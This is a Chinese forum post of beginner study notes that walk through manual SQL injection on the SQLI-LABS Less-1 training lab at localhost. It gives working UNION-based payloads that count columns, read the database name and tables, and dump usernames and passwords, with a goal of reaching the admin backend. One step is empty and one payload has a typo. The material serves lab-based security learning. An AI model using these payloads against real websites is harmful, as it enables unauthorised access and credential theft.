学习笔记-SQL注入(SQLI-LABS第一关)

打印 上一主题 下一主题

主题 845|帖子 845|积分 2535

初学者掌握手工注入的过程:

  (1)判断是否存在注入点     //(URL,POST表单,HTTP头部字段......)

  (2)判断字段长度(字段数)    //(有可能保存在后台数据库某一个表当中,表当中的某一个或几个字段)

  (3)判断字段回显位置    //

  (4)判断数据库信息

  (5)查找数据库名

  (6)查找数据库表

  (7)查找数据库表中所有字段以及字段值

  (8)猜解账号密码

  (9)登录管理员后台

   
(1)判断是否存在注入点

  以SQLI-LABS第一关为例:
  正常登录
  
 
  URL后添加?id=1',回显错误,判断可能存在SQL注入漏洞, 进一步判断
  
  添加?id=1'and'1'='1,回显正常。
  
 
   添加?id=1'and'1'='2,回显错误,可能存在字符串注入漏洞。
   
 (2)判断字段长度(字段数)

  使用order by 函数判断字段数,?id=1' order by 4 --+     (因为-- 这个注释符空格会被服务器自动删掉,而+在SQL语句中会被解释成空格,所以使用--+来注释掉LIMIT 0,1,%23也可以起到注释作用;1后面的单引号为了保持闭合关系;%23在urlencode编码中被解释成#,url中#是指导浏览器动作的,对服务端无用,所以使用%23;urlencode编码中空格是%20,所以%20也可以;)
  
(3)判断字段回显位置

  这里使用联合查询来看看有无回显位置:?id=1' union select by 1,2,3,4 --+ 发现只执行?di=1......,所以把1改成-1,成功出现回显位置。
  
(4)判断数据库信息

  将语句中3替换为database()来显示数据库名:http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,database()--+;得出结果security
  
(5)查找数据库名

  语句中3替换为http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  
(6)查找数据库表

  
  
 
(7)查找数据库表中所有字段以及字段值

  http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,concat_ws(',',id,username,password) from  security.users limit 1,1--+  
  
concat_ws() 是concat()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。
 
第二关过程和第一关差不多
 
 
 
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

郭卫东

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表